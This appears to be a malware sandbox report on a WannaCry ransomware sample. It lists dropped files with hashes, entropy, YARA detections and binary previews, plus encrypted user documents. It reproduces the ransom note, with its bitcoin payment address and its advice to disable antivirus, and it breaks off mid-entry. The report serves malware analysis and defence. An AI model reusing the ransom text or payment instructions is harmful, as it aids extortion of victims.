                                    SHA-256:E18FDD912DFE5B45776E68D578C3AF3547886CF1353D7086C8BEE037436DFF4B
                                    SHA-512:115733D08E5F1A514808A20B070DB7FF453FD149865F49C04365A8C6502FA1E5C3A31DA3E21F688AB040F583CF1224A544AEA9708FFAB21405DDE1C57F98E617
                                    Malicious:true
                                    Preview:PK..........!(................Data/PK........M..J................Data/Tor/PK..........!(................Tor/PK..........!(..t.......0.....Tor/libeay32.dll.:.t.e....6m.....Me.Vjil....!..E..T..e...*..e....,.c..o=..t.u..,....J..k-.x.V..:1u....v..7.L~..?{..rN23.w......o..N2....WU..G..G.......Ed..7..q.o.5.]w.{...wl\y..m..w...?]......n......Z]UX./h4.....]...71....e.\^1..I..MH5...k.o+..s...c|s....-#d,!..............eW...?a.......R..I..R......w.....m..#od.*q.&..g.;.C(..t.V...j.Jq%...d_.Js...Hk.j#...DH.....,8_.O...]U....t .......ks:..T...18.C.%ASZJ3.U.nl..J.@)...$...N.s.O........m.0..*e..4.....m...lI..Z..7.f-.?....;...?.SO....}..7#.L8...5.z.~.........E.S..1....7.*.0...pf.....jz.)..Y..8..^....B........p.W..r..B.....p..?......../`*Wl..D.xAi..$..d.......&..p. ..bOtE.\.......(..&A...6v..S..Q...L...3 .:.6.m7.'.......)......iH.NZ_t.;./.a..n.g...A`.T.k.........."...<.rt..3....0.{N..yy...p.z.=..#.u.u...d......mQ..*.H..2.N.BRSN...XC....).".@.._.18.&...n

                                    C:\Users\user\Desktop\t.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):65816
                                    Entropy (8bit):7.997276137881339
                                    Encrypted:true
                                    SSDEEP:1536:am+vLII5ygV8/tuH+P9zxqDKvARpmKiRMkTERU:a9LAg4tXPTEKvADmFgRU
                                    MD5:5DCAAC857E695A65F5C3EF1441A73A8F
                                    SHA1:7B10AAEEE05E7A1EFB43D9F837E9356AD55C07DD
                                    SHA-256:97EBCE49B14C46BEBC9EC2448D00E1E397123B256E2BE9EBA5140688E7BC0AE6
                                    SHA-512:06EB5E49D19B71A99770D1B11A5BB64A54BF3352F36E39A153469E54205075C203B08128DC2317259DB206AB5323BDD93AAA252A066F57FB5C52FF28DEEDB5E2
                                    Malicious:true
                                    Preview:WANACRY!.....8"'....].~>(...*PdIf.'.m>...2.0.`p...^...#I|..<.W.B.=....M..zxFp....0e...P...."....nhB)>....B..}.[d$......,...8.....k$.....S.w+.....N.....p/...Y.LC......9L.\!u...?hH".<d..dS%A.......Iu...nEi7I.....8.V..:F....-...,........\....}..`1?..m..5g.I'..................q.\..9`..t.....a......(|.8.L....67.gjrS.|.e...f.Fi......\...r.k.!d......8.'g1y+..'.i1t.L.>.u..:......<.fN.:Tf{..M.....W....._......_:...rR(.M..A?:...H.W.....=l......r..f..JX...:.z.rC.....f.X Qx.4....2....&w+..&kDqFU..u.............Sg..4k..<5.Zd$F.ED...1.S.d.. .eW.i....p.2..&.~S.l.R8$&q.L3.<.2....x ..by.zO.w. .hs.q.....I.1..D.F...J).&.....SD..v..m...V.....G...B`.u>K@.\_N......#.|..w.....Z.).X..[..o.(.'.~.nq.hq1.....:!.Q.P...c.KA,.3..m...j>.X.;..<.*."AU..R....Y....d]....U....).@...Q....|K.=.d.cI.x.....O...\(.%}.j..YG}...i.....R..j.`..9...5.....o..U...xu>+.$y...z... ...5......s..e...G...W.".T.'..iH..B.Sl...h..7B..E.8.....K.bRm...FE..W'_Q1...... ...A.5.}..%.../^VL.;.".w

                                    C:\Users\user\Desktop\taskdl.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):20480
                                    Entropy (8bit):3.1664845408760636
                                    Encrypted:false
                                    SSDEEP:96:Udocv5e0e1wWtaLYjJN0yDGgI2u9+w5eOIMviS0jPtboyn15EWBwwWwT:6oL0edtJN7qvAZM6S0jP1oynkWBwwWg
                                    MD5:4FEF5E34143E646DBF9907C4374276F5
                                    SHA1:47A9AD4125B6BD7C55E4E7DA251E23F089407B8F
                                    SHA-256:4A468603FDCB7A2EB5770705898CF9EF37AADE532A7964642ECD705A74794B79
                                    SHA-512:4550DD1787DEB353EBD28363DD2CDCCCA861F6A5D9358120FA6AA23BAA478B2A9EB43CEF5E3F6426F708A0753491710AC05483FAC4A046C26BEC4234122434D5
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=..y..y..y......x......r......x......}.....z..y..Q..O..x..Richy..........PE..L...W.[J.....................0............... ....@..........................P...............................................!..P....@............................................................................... ...............................text............................... ..`.rdata..z.... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\Desktop\taskse.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):20480
                                    Entropy (8bit):2.5252509618107535
                                    Encrypted:false
                                    SSDEEP:96:UjpvOHheaCDCNIOgTegoddPtboyX7cvp0EWy1HlWwr:UjVWEam7ofP1oyX7olWUHlW0
                                    MD5:8495400F199AC77853C53B5A3F278F3E
                                    SHA1:BE5D6279874DA315E3080B06083757AAD9B32C23
                                    SHA-256:2CA2D550E603D74DEDDA03156023135B38DA3630CB014E3D00B1263358C5F00D
                                    SHA-512:0669C524A295A049FA4629B26F89788B2A74E1840BCDC50E093A0BD40830DD1279C9597937301C0072DB6ECE70ADEE4ACE67C3C8A4FB2DB6DEAFD8F1E887ABE4
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#O..g.v.g.v.g.v..2x.f.v..1|.l.v..1r.e.v.!+.d.v.g.w...v.Q.}.f.v.Richg.v.........PE..L.....[J.....................0......L........ ....@..........................P..............................................| ..<....@............................................................................... ..`............................text............................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@................................................................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\Desktop\u.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):245760
                                    Entropy (8bit):6.278920408390635
                                    Encrypted:false
                                    SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                    MD5:7BF2B57F2A205768755C07F238FB32CC
                                    SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                    SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                    SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                    Malicious:true
                                    Yara Hits:
                                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Users\user\Desktop\u.wnry, Author: Joe Security
                                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\Documents\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Documents\@WanaDecryptor@.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):245760
                                    Entropy (8bit):6.278920408390635
                                    Encrypted:false
                                    SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                    MD5:7BF2B57F2A205768755C07F238FB32CC
                                    SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                    SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                    SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\Documents\AQRFEVRTGL.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.824475770964291
                                    Encrypted:false
                                    SSDEEP:24:IJGClnjhsoelf6GbyqtwG6Mz7tlh64JEtddlwiVBBfTyF:fcnTqJy9Iz64JEtfOiTR4
                                    MD5:12C477F1EDDFE896E97D621E903DEEF2
                                    SHA1:7658DFDBFE511915543994C66DF0888EC68CF3F6
                                    SHA-256:ADEF5DEA60BA574E0F24206242DAA230C87538959BF166D16B0A6E31C3703F05
                                    SHA-512:ADD4E3E978BACC43D14B0ABCACB43F43107F8E49954A034BD9D9B07999A2A9E699E6738F5788EB9FDA915D865D914960276B9AF74E119813AD401F35B70DB49A
                                    Malicious:false
                                    Preview:..<L..4+...@:..'...3B.....:!....<3d|.2.x.g.X:O#.j....?.9.......R.lW...5~Sv.../$.~.uP..B..Z...{...K...K.......C-..a.....m.(........~{.S.....gZ.f,...pp..I.7E1.b.......Yo..^{.>..us.0.%........&..IX......{(...@..l+mY.Zs....._}Ptl.Q1..{W3+..~......#.............o....g...=}R....E.....~.H..(m....}..5.hl..h....f|..`..Q.....F...tg.....VT....._....qb.G......l.]....'._$4b....\y.`...js..'.RI.!..H.._./.W.+.m ..1V}.^..0.p..T...E...N..k.]v.fqF..^....:,W.`...Fa8....v.2.....8....U...._.x.X.Z.qk...f...0_= .2......P.)VC.Gy..7.a.......,.....>.&....^..... -.4.....B....4.n..c.U....QC)......j.a.H..M....i..9.N.d..r....k..K[.[..5..P..)~..z..VB......T...1.#mn..\E..Tv..+0..[9/@.)vG.J..1.y....if....y+.nP.S...t.....N..s....%..{...Y..."..=j...~3.*...a^B.`)......#.6*"..N..D..'.o'..l...#........e).%]$.."Ua].lud......I/..Z7. i.`..H..i...i.+..?.B'..Y..t..Ec..y."1..Q5.p..c.....'.5..>,.O....1.*..26."...qP.N.%...E..5..Z<*.....C..K}J..,...2.;v...`..b.;@&....e..S

                                    C:\Users\user\Documents\AQRFEVRTGL.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856733097077846
                                    Encrypted:false
                                    SSDEEP:24:bkhxo7bRzd2/Qp+p7ibuBK1xAbzormjK+mgrfLI97v5a1KKqT/w28cDJ9q3R:bkEH2IApRQrAb0K1bLI9jeKKXmDJs
                                    MD5:8444830F83BFD5344AE2804E31B6C3C2
                                    SHA1:6BA341CA19D69FB89BF6CD40969F35D58FAABC20
                                    SHA-256:FCE126253BE0B3791C5DF2A7C6C436F9CC790C196BAE0173801F4A153BF92F17
                                    SHA-512:DDBFFF94C8BE595F432484F135CC3D2234856B5070DF763F5D23C3179A8FF8EB811410D3404690E411B89D6799FC8C1A1152169FF8C9FAEEAF5ABC82212F5200
                                    Malicious:false
                                    Preview:WANACRY!.....N..L..#.1.G.x..{...8l...U..'.BV|b..i.@bG.....~(.2q..SDK..6...8...1...k.3uh.(..$....h>....yb..|.k2C....T.....r..........(.^,....Q1.!@....1..s".b.....5-.A..i.d.#$.....g..H&y.mhR.qh#..r..}]..>X.R....C.u0...^.D.y?...yz.....P"_8..F5.r......[.=m...............0..,).2..tZ...5.......X...Nl.....h...A..)[.]@...+nS..l.WYr'x<.t....Y7Q.<...~U!j?..m"Z.).c+..g..&...1..19. ..5+..?(*F.&J..V....V>..L......I.0.]..*Kv...|..(... G....Mf.b.~.....F.w... .....%...?..`....R......qc..bR..v.M{.4c.s'...5.Ii.%..h&V...:pR...........J......{.o.r_.BC...H^."'..z..\.....&.T.f....._ER.....!T.9_..4..QQ.`.AX.dJ....j..K2.....:..B...Y..a......k....}.J.,..=n_.....d....b..X.`.}.<X#...... .6.....10.y..q.o./...a...K.K.....-.IV@*..0.V.h/..eN......C.[@..kw C...S...u/..U.T.Bw.$[rK..3...t~.(.UB...%.m....-...g..!.1..%.u#....Px.!.XHS...;:+.\}J.|s...........9..F......x).O.N.R..F...:|*....?K8bZt..o.|......y.gJ.....s.....Q.....( ....y?.9....;.....%#...x_<h/..y.-.|%.*

                                    C:\Users\user\Documents\AQRFEVRTGL.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856733097077846
                                    Encrypted:false
                                    SSDEEP:24:bkhxo7bRzd2/Qp+p7ibuBK1xAbzormjK+mgrfLI97v5a1KKqT/w28cDJ9q3R:bkEH2IApRQrAb0K1bLI9jeKKXmDJs
                                    MD5:8444830F83BFD5344AE2804E31B6C3C2
                                    SHA1:6BA341CA19D69FB89BF6CD40969F35D58FAABC20
                                    SHA-256:FCE126253BE0B3791C5DF2A7C6C436F9CC790C196BAE0173801F4A153BF92F17
                                    SHA-512:DDBFFF94C8BE595F432484F135CC3D2234856B5070DF763F5D23C3179A8FF8EB811410D3404690E411B89D6799FC8C1A1152169FF8C9FAEEAF5ABC82212F5200
                                    Malicious:false
                                    Preview:WANACRY!.....N..L..#.1.G.x..{...8l...U..'.BV|b..i.@bG.....~(.2q..SDK..6...8...1...k.3uh.(..$....h>....yb..|.k2C....T.....r..........(.^,....Q1.!@....1..s".b.....5-.A..i.d.#$.....g..H&y.mhR.qh#..r..}]..>X.R....C.u0...^.D.y?...yz.....P"_8..F5.r......[.=m...............0..,).2..tZ...5.......X...Nl.....h...A..)[.]@...+nS..l.WYr'x<.t....Y7Q.<...~U!j?..m"Z.).c+..g..&...1..19. ..5+..?(*F.&J..V....V>..L......I.0.]..*Kv...|..(... G....Mf.b.~.....F.w... .....%...?..`....R......qc..bR..v.M{.4c.s'...5.Ii.%..h&V...:pR...........J......{.o.r_.BC...H^."'..z..\.....&.T.f....._ER.....!T.9_..4..QQ.`.AX.dJ....j..K2.....:..B...Y..a......k....}.J.,..=n_.....d....b..X.`.}.<X#...... .6.....10.y..q.o./...a...K.K.....-.IV@*..0.V.h/..eN......C.[@..kw C...S...u/..U.T.Bw.$[rK..3...t~.(.UB...%.m....-...g..!.1..%.u#....Px.!.XHS...;:+.\}J.|s...........9..F......x).O.N.R..F...:|*....?K8bZt..o.|......y.gJ.....s.....Q.....( ....y?.9....;.....%#...x_<h/..y.-.|%.*

                                    C:\Users\user\Documents\AQRFEVRTGL.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801480032130538
                                    Encrypted:false
                                    SSDEEP:24:gftPJB6URzarr+31Qq+i02BXSJgISDCgtdnBUAbMQ+aw:gVCtwWUCJgISugverQzw
                                    MD5:EEA3903C72F818CD6321093EBADFAE0D
                                    SHA1:E93F8C09CB5D95CA849E2B949EC78D0D7F121E01
                                    SHA-256:F1EA8851F89871602992EF8AA3BCCBD52DF990DCF1F29BBFF89462C8FD0E3CAF
                                    SHA-512:0CD8822B40228789BD3AECF79354664225E398E287981DF7EA763BCA40EC890EC34A5C1CF064F525F295882615BD2DDA3BF95981391168868A7C5B1E0CE5F57E
                                    Malicious:false
                                    Preview:.S......`q"=r....:....s....).9x..|GGZ....d...4ee.l.Y.&...y.]Y...\..Jo=.[.....QZ.........Gv.....;`T...U....&...4...Ql.^.a........}Ha)..!.v3K..p..... ........D2l........u....C...`+......,..0....rD..7.gP..1M.$0...7o.@v...X..........K+.....%.t8$y..Me..Vl@67.V..?M........U..6./._."<.".u.0}....$.^....~a..W....7[.g....@.a..*.L.J.C.:.?.4hy..4pK.9...?.;....U...@!....4".. .1.....2....R.....0+..H........3.NI....h\..=.\.2.....Z.!v(..P.r.Jp..Ez6....G..o. ....2u..`..B.K{.4c7.i.n.J%..8\..H...|..p..,.`F..im.X.Yn""s~.@.uM......x...3...<b..............)...[.FS.C..f..G.Q........2.+...l...c*%Tgf.zp="Y...i]...5...f!.h....W...J...h..:A.l.3P>'}J.w....U..b.t.L..:.7..S 0.1..........E..Q..5....Gj...W..8...O1d...S.....]..J..}Q$i...#$kf..F..l.W5...R=.P..8...i`...g.bP....|..Xd..I..K\.".....0Z..}.n.Y._.....zh.....|.e.5y,..K^.....k..B%..!..'..^u..$#M.eN_.....TuJ..b..t........_...ql..M..JA........H.X.3.p.CV../...KF.NzK...].J....x6....O...u.4V.f%..P.........g7..o2

                                    C:\Users\user\Documents\AQRFEVRTGL.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.821430649861486
                                    Encrypted:false
                                    SSDEEP:24:bkUIIRdjsFcfF7zc68YOUBEWKD1OlMhSpv6TMrHHed39yde:bkUIKdjsUNc6BBExHhUiIHHiA8
                                    MD5:A2103A45F3C6D3A6CE2B7E2C5CD76DDD
                                    SHA1:B7E7C1BD98C7ADFD2FEDA0A0CA9906DB66CD6FB0
                                    SHA-256:6389DB3392F3724DBAFEC113DE6C94735E6EEFFB04C699D7B26AF36CB0ED3961
                                    SHA-512:F689F43A4C8206F5889C8E79805DE6FA0CF7C40C1F37616A43C37F2414A4CD7CC118757DB5B63503DB83907085E45BAD74C91343704740F91C23DE0C12DE3D23
                                    Malicious:false
                                    Preview:WANACRY!.......eGb...[.OG...Z~(..6.wm....a...R4.gc.C..b...i.1..9../.Q..U...*.%......wm.c......p.i...s....%s*.:...y..<q...n}p......a...Q..i#.}..t..3.......7......T.5.V}..G..uy.^.^.rk...0j.E...lZI..i..6.j^;9......K.Z.3.........M.#8-S*#..y...h.....;..F...F.$.6............W..i.Y...X.U....C..i...Yv#..f.7.""#.dC.]....O.t>.(.y..`..r....d.../.5....["..;.0.m.>....f.42...l8....l...;....~...M%X Z.&..1.1.x<.....=x.$bpju....}a.ne....!1..4y...]`dow.s...J.-".a<.7.P....!T..)w.........~...Z..J.....r.\1......i..<n...X....D.Vm..}.2cq.CjH9.`.9.w..)....=..y.;[p.5.......-}".s(..o.aD..O.|....wo..?i7$....~..G..)2....;s.z.....T.c.R.pl.0Sd....ue...#...y....b...w.J.....l.....h..Q.N.......%...v......} .7.....Q-...i......{.]...r!..Z.{..zh=aT.y.}dzgw.).....w#.[......L.8.N&m......()i.lmy...V.HZ.FP......?..q%=.>...lzu......xI..J....6<.).K.d.;.S..R..~...........aZ.-...eqNv.....K.=h....^j..kG?y.....t.....H..G......p{%......z.A..7..iM.l..&.R.%2..x9|:....FU..R....}.E.0.zl.*o

                                    C:\Users\user\Documents\AQRFEVRTGL.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.821430649861486
                                    Encrypted:false
                                    SSDEEP:24:bkUIIRdjsFcfF7zc68YOUBEWKD1OlMhSpv6TMrHHed39yde:bkUIKdjsUNc6BBExHhUiIHHiA8
                                    MD5:A2103A45F3C6D3A6CE2B7E2C5CD76DDD
                                    SHA1:B7E7C1BD98C7ADFD2FEDA0A0CA9906DB66CD6FB0
                                    SHA-256:6389DB3392F3724DBAFEC113DE6C94735E6EEFFB04C699D7B26AF36CB0ED3961
                                    SHA-512:F689F43A4C8206F5889C8E79805DE6FA0CF7C40C1F37616A43C37F2414A4CD7CC118757DB5B63503DB83907085E45BAD74C91343704740F91C23DE0C12DE3D23
                                    Malicious:false
                                    Preview:WANACRY!.......eGb...[.OG...Z~(..6.wm....a...R4.gc.C..b...i.1..9../.Q..U...*.%......wm.c......p.i...s....%s*.:...y..<q...n}p......a...Q..i#.}..t..3.......7......T.5.V}..G..uy.^.^.rk...0j.E...lZI..i..6.j^;9......K.Z.3.........M.#8-S*#..y...h.....;..F...F.$.6............W..i.Y...X.U....C..i...Yv#..f.7.""#.dC.]....O.t>.(.y..`..r....d.../.5....["..;.0.m.>....f.42...l8....l...;....~...M%X Z.&..1.1.x<.....=x.$bpju....}a.ne....!1..4y...]`dow.s...J.-".a<.7.P....!T..)w.........~...Z..J.....r.\1......i..<n...X....D.Vm..}.2cq.CjH9.`.9.w..)....=..y.;[p.5.......-}".s(..o.aD..O.|....wo..?i7$....~..G..)2....;s.z.....T.c.R.pl.0Sd....ue...#...y....b...w.J.....l.....h..Q.N.......%...v......} .7.....Q-...i......{.]...r!..Z.{..zh=aT.y.}dzgw.).....w#.[......L.8.N&m......()i.lmy...V.HZ.FP......?..q%=.>...lzu......xI..J....6<.).K.d.;.S..R..~...........aZ.-...eqNv.....K.=h....^j..kG?y.....t.....H..G......p{%......z.A..7..iM.l..&.R.%2..x9|:....FU..R....}.E.0.zl.*o

                                    C:\Users\user\Documents\AQRFEVRTGL.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.856245878249871
                                    Encrypted:false
                                    SSDEEP:24:rhz2I9otOCT+UhV2O/41U4dVkGnop1JtjqWM9tWUzR2NfKPVN49T0ZEXFpcJ5:0IWICT+U7OfdhojjPCtWqR2NfaVcT0ZL
                                    MD5:89C69596DD70E4222DFC812A23F4C90A
                                    SHA1:57DFA4678A1293968297C235EBA5A1348C8AF4A6
                                    SHA-256:2FD6911CDE73A63154BF33952F958C8C0A8C05F167D272637045EF2A8DA755F4
                                    SHA-512:B490F6E3B08FB3C6DB71A452937BE336D5269816AE195D0EE87B93B138EAA663C01A45A9D021FB5A0CD597FB7A1185867C80FA496CCC75E86444497F75CB0D7A
                                    Malicious:false
                                    Preview:......@D..d=}y..... M..........l.6cQ....@[....BA<....#.\9.....J8...C....ZZ\.....x.'@X....vP.U<.9f}..y.m7.....T..a..Z].+.>...xQ..iq...i.......[..v......[*.s.'...v7..<4....yM....@....d.".s{.C.F.5.{.S.....(8'.74..Y.W&.h6...9...~r..w..b.$........S.<.....g6.1.S7'..`.6.W......_a..W...2c....NkP>.#..BC..5.TF.'%.:.s..!.1M.-h.z..~....*.......a).^.RomH.'..'...tH..X*..j.@I=.....kV.'@O.L(...d"........M]n..+.a.....Ko......y6....c....T.#....-.d...);G.|.....U.l,.g."...H.w..(.A...C.z.....J.>.e......6T..X..?..z.x,F.p....E...%\....(..+..R...[g.iW(f.../..w..2.'..b...h.6b.......F..]..<;[.......gNW..HHj...c^T..L.a.ghe}4..cJP9{.o.a..g..!..$E...[q..a..t.Bh)....hIj.@.....S..;.u....Y.W.:..v;.+.-Y....z.m.U..cdP.Z._...8...%..+.ca......l.b.n.6=...a..P.?..QZ.onu..C.|..l.h.$_..C?x...a..8...X..A.u..W.../{R.S;......%H...S..q..N._dY..H...2B.s.......J..v.@..:&...q Y......._T...EB.Yv.t...C.."Qf=e5.`..#/....oXGp..Ai. .]....@...vP.....Q....f...Q.w..1...=.M2.FL.sm4

                                    C:\Users\user\Documents\AQRFEVRTGL.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.836033394085568
                                    Encrypted:false
                                    SSDEEP:24:bkBT7fsd5KT6lkT2pFdRqP/0+Dl6TusrktVZL0SpWjZ+NmbFOVckKW1SjqEoQz7P:bkFOAVT2pFdM37Dl6ifd0MeHFCHSjoET
                                    MD5:D9474C388C05EE03E212DD4BFE4E5E4C
                                    SHA1:89BFA5D7A2679032C12A53DD41E2B6D1D9C0338B
                                    SHA-256:6E595672C03A74BA88E2E0D300EC30B9B494D40E130511B28E67B0EA31C0570C
                                    SHA-512:FC8A9B383716D8A6CEF9A18143FF9A6F79D6898A2618A08CB96FF35CDECA0D51188D5365CA7FD0FF05ABC1006E0800EABFB9D120D1930150FB435516CAAE6FCB
                                    Malicious:false
                                    Preview:WANACRY!....u.+..3.1I.4.......nJ..A..T....f..P.5...l.9..W._.].ib[.e.D.^.G|: ..U......#.eCm........c...c..o.......!.8...^.!.B..N=.hS1y..Q( .y.q.8..r..`.g.T..d1(....*&....q.,`.9...h.]CD....[lL....u.....F.4.WT#...j.....i.8..5......_..w....N-).W.=`..%/...~...............8.~.DVz..VG.....{...s].R..a........r......e.R...Pu.....mJS...a.u.6B.f-|].[H0...<4.J.....^..D..y...E.....R.X...F.....'.Jz....=..p..wV..?u..-)#o..c.....d..B....FM.....;.@....+.2.b..jC09..4...anB+.X.,\C.S....|S..T......O.....J..e....g..T)...)R.?.8.Z?.-.....|...[.mKI...:......PS.x<.|....y.OH../..(..i....)vS.g..D.%.....7..9m..M...)l.......y.._u.....N$.NzP,.&.u$$.b.k....%.E...|U".`...mA.g..st?.c?SL../..JWW..h..E.3..A.'.....=vh[KNE....p.D{|........">.].w...l..d...._j..g...6p.F=yf.b..G...'...8....}...........09....4.Q..'."J.P.T|gC.+......)O..F-".z.x.k...>".E.P_5f5i.....In.....I...E..h..&d.....9...0P..X...]..Pd.....Sg".)u"SMv....M..7.{X.z.[Q#.B..ll5....m.UyM'Y.^...P.jO{g1.v2..g..hm^..

                                    C:\Users\user\Documents\AQRFEVRTGL.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.836033394085568
                                    Encrypted:false
